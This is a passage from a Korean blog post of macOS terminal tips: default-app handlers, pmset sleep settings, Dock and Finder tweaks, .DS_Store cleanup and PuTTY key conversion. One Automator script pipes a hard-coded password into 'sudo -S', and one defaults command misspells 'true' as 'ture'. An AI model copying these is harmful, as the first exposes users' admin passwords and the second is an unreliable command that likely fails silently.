-&amp;gt;프로그램 변경 &amp;gt; 모두 변경…&lt;/p&gt; &lt;p&gt;하지만 이 방법으로는 몇가지 제약사항이 존재한다. 확장자가 없는 문서 등의 경우 한번에 바꾸지 못하는 단점이 존재한다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_terminal_command.md_img/img_2024-04-08-15-08-08.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;2번 방법&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;우선 내가 기본으로 열고싶은 확장자의 타입을 알아야 한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;mdls &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; kMDItemContentType /path/to/file &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;일반 문서 타입으로 조회되는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wgetrc&lt;/code&gt; 파일&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;mdls &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; kMDItemContentType ~/.wgetrc kMDItemContentType &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;public.data&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;그리고 내가 열고자 하는 프로그램의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFBundleIdentifier&lt;/code&gt; 를 알아야 한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;mdls &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; kMDItemCFBundleIdentifier &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; /path/to/Application.app &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;예시&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# VSCode&lt;/span&gt; mdls &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; kMDItemCFBundleIdentifier &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; /Applications/Visual&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Studio&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Code.app com.microsoft.VSCode &lt;span class=&quot;c&quot;&gt;# MacVim&lt;/span&gt; mdls &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; kMDItemCFBundleIdentifier &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; /Applications/MacVim.app org.vim.MacVim &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이제 원하는 타입을 원하는 프로그램으로 바꾸기 위해 아래 명령어를 적절하게 변경해 실행한다. &lt;br /&gt; 아래 명령어를 실행하면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$HOME/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist&lt;/code&gt; 파일의 내용이 변경된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;defaults write com.apple.LaunchServices/com.apple.launchservices.secure &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt; LSHandlers &lt;span class=&quot;nt&quot;&gt;-array-add&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{LSHandlerContentType=&amp;lt;document type&amp;gt;;LSHandlerRoleAll=&amp;lt;바꾸고자 하는 프로그램명&amp;gt;;}&apos;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;나는 MacVim(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;org.vim.MacVim&lt;/code&gt;)으로 문서 파일(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public.data&lt;/code&gt;)을 열고자 하기 때문에 아래와 같은 명령을 진행할 것이다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;defaults write com.apple.LaunchServices/com.apple.launchservices.secure &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt; LSHandlers &lt;span class=&quot;nt&quot;&gt;-array-add&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{LSHandlerContentType=public.data;LSHandlerRoleAll=org.vim.MacVim;}&apos;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 &lt;strong&gt;재부팅&lt;/strong&gt; 하여 변경된 내용을 적용한다. &lt;br /&gt; &lt;strong&gt;꼭 재부팅 해야 내용이 적용&lt;/strong&gt;되니 이 점 잊지 말자.&lt;/p&gt; &lt;h3 id=&quot;사전찾기-ctrlcmdd-단축키-비활성화&quot;&gt;사전찾기 (ctrl+cmd+d) 단축키 비활성화&lt;/h3&gt; &lt;p&gt;설정 이후 재부팅 필요.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;sudo defaults write com.apple.symbolichotkeys AppleSymbolicHotKeys -dict-add 70 &apos;&amp;lt;dict&amp;gt;&amp;lt;key&amp;gt;enabled&amp;lt;/key&amp;gt;&amp;lt;false/&amp;gt;&amp;lt;/dict&amp;gt;&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;충전-없이-클램쉘-활성화&quot;&gt;충전 없이 클램쉘 활성화&lt;/h3&gt; &lt;p&gt;설정 이후 재부팅 필요. &lt;br /&gt; 덮개를 덮을 시 잠자기 모드를 &lt;strong&gt;완전히 비활성화&lt;/strong&gt; 하는 것이기 때문에 &lt;br /&gt; 해당 설정을 진행하면 맥북을 잠자기 모드로 둘 수 없다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;sudo pmset -b sleep 0; sudo pmset -b disablesleep 1 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;잠자기 모드를 다시 활성화 하려면 아래 명령어 적용 후 재부팅.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;sudo pmset -b sleep 0; sudo pmset -b disablesleep 0 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;해당 쉘 스크립트를 &lt;br /&gt; automator &amp;gt; 새로운 문서 &amp;gt; 응용 프로그램 &amp;gt; 보관함 &amp;gt; 유틸리티 &amp;gt; 셸 스크립트 실행 &lt;br /&gt; 여기에 넣고 저장하면 앱으로 만들 수 있다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;echo &apos;password&apos; | sudo -S pmset -b disablesleep 1; pmset -a disablesleep 1; pmset -c disablesleep 1; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;키-반복하기&quot;&gt;키 반복하기&lt;/h3&gt; &lt;p&gt;맥을 처음 실행하면 키를 꾹 눌렀을 때 키가 반복되지 않고 다른 글자를 입력할 수 있는 창이 뜬다. &lt;br /&gt; 이를 막고 키를 꾹 눌렀을 때 반복되게 하려면 터미널을 열고 다음 명령어를 입력한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;defaults write &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; ApplePressAndHoldEnabled &lt;span class=&quot;nt&quot;&gt;-bool&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;finder-숨긴-디렉토리를-항상-보이게-하기&quot;&gt;Finder 숨긴 디렉토리를 항상 보이게 하기&lt;/h3&gt; &lt;p&gt;단축키는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd + shift + .&lt;/code&gt; 이다.&lt;/p&gt; &lt;p&gt;항상 보이게 하려면 터미널을 열고 다음 명령어를 입력한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# defaults write com.apple.Finder AppleShowAllFiles -bool true&lt;/span&gt; defaults write com.apple.finder AppleShowAllFiles &lt;span class=&quot;nt&quot;&gt;-boolean&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; killall Finder&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;dock-애니메이션-대기시간-제거&quot;&gt;dock 애니메이션 대기시간 제거&lt;/h3&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;defaults write com.apple.dock autohide &lt;span class=&quot;nt&quot;&gt;-bool&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; defaults write com.apple.dock autohide-delay &lt;span class=&quot;nt&quot;&gt;-float&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; defaults write com.apple.dock autohide-time-modifier &lt;span class=&quot;nt&quot;&gt;-float&lt;/span&gt; 0 killall Dock &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;dock-대기시간-복원&quot;&gt;dock 대기시간 복원&lt;/h4&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;defaults delete com.apple.dock autohide &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; defaults delete com.apple.dock autohide-delay &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; defaults delete com.apple.dock autohide-time-modifier &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; killall Dock &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;dock을-완전히-없애기&quot;&gt;dock을 완전히 없애기&lt;/h3&gt; &lt;p&gt;나의 경우 spotlight, alfred로 거의 모든 것을 실행하기 때문에 dock이 필요하지 않아 dock이 나타나는 것이 거슬렸다. &lt;br /&gt; 따라 dock을 완전히 없애는 방법을 찾아보았으나, &lt;br /&gt; 완전히 없애는 대신 dock이 보여지는 시간을 매우 길게 조정하여 사실상 dock이 없는 것처럼 보이게 하는 방법을 찾았다.&lt;/p&gt; &lt;p&gt;아래 명령어는 dock이 보여지는 시간을 1000000초 정도로 늘려 사실상 dock이 없는 것처럼 보이게 한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;defaults write com.apple.dock autohide-delay &lt;span class=&quot;nt&quot;&gt;-float&lt;/span&gt; 1000000&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; killall Dock &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;복원방법&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;defaults delete com.apple.dock autohide-delay&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; killall Dock &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;a href=&quot;https://apple.stackexchange.com/questions/59556/is-there-a-way-to-completely-disable-dock&quot;&gt;출처&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;ds_store-파일-제거-및-더-이상-생성되지-않도록-하기&quot;&gt;.DS_Store 파일 제거 및 더 이상 생성되지 않도록 하기&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.DS_Store&lt;/code&gt; 파일 조회(터미널에 출력) 및 제거 명령어&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;find / &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;.DS_Store&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-type&lt;/span&gt; f &lt;span class=&quot;nt&quot;&gt;-print&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-delete&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;더 이상 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.DS_Store&lt;/code&gt; 파일이 생성되지 않도록 하는 방법 (네트워크 드라이브에서만 .DS_Store가 생성되지 않는다. &lt;strong&gt;&lt;u&gt;로컬 드라이브&lt;/u&gt;에서는 정상적으로 생성되어, 이 방법은 완전하다 볼 수 없다.&lt;/strong&gt;)&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;defaults write com.apple.desktopservices DSDontWriteNetworkStores ture &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;아래 명령어로 적용되었는지 확인 가능&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# defaults read com.apple.desktopservices DSDontWriteNetworkStores&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;plist-vi로-보기&quot;&gt;plist vi로 보기&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;plist 바이너리를 xml로 변환&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;plutil &lt;span class=&quot;nt&quot;&gt;-convert&lt;/span&gt; xml1 &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;plist file&amp;gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;plist xml을 바이너리로 변환&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;plutil &lt;span class=&quot;nt&quot;&gt;-convert&lt;/span&gt; binary1 &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;plist file&amp;gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;프로그램-실행-시-argument-추가하여-실행시키기&quot;&gt;프로그램 실행 시 argument 추가하여 실행시키기&lt;/h3&gt; &lt;p&gt;&lt;a href=&quot;./open_with_argument&quot;&gt;링크로 대체&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;ssh-ppk-개인키-파일을-pem-파일로-교체-ppk-개인키-변환&quot;&gt;ssh ppk 개인키 파일을 .pem 파일로 교체 (ppk 개인키 변환)&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ppk&lt;/code&gt; 확장자의 개인키 파일 형식은 macOS 터미널에서 ssh 접속 시 개인키 파일로 사용할 수 없다. &lt;br /&gt; 따라서 이러한 파일을 변환해줘야 하는데 해당 방법을 알아보자.&lt;/p&gt; &lt;p&gt;우선 puTTY가 설치되어 있지 않다면 설치해야 한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;brew &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;putty &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puttygen&lt;/code&gt; 을 통해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ppk&lt;/code&gt; 파일을 변환할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;puttygen key.ppk &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; private-openssh &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; output.pem &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pem&lt;/code&gt; 파일을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ppk&lt;/code&gt; 파일로 변환하고 싶다면 반대로 하면 된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;puttygen key.pem &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; output.ppk &lt;span class=&quot;c&quot;&gt;# 옵션 지정&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# puttygen key.pem -o output.ppk --ppk-param version=2&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;키가 생성되었다면 기본적으로 권한이 600 (rw——-) 으로 설정되어 있을텐데, &lt;strong&gt;만약 권한이 다르다면&lt;/strong&gt; 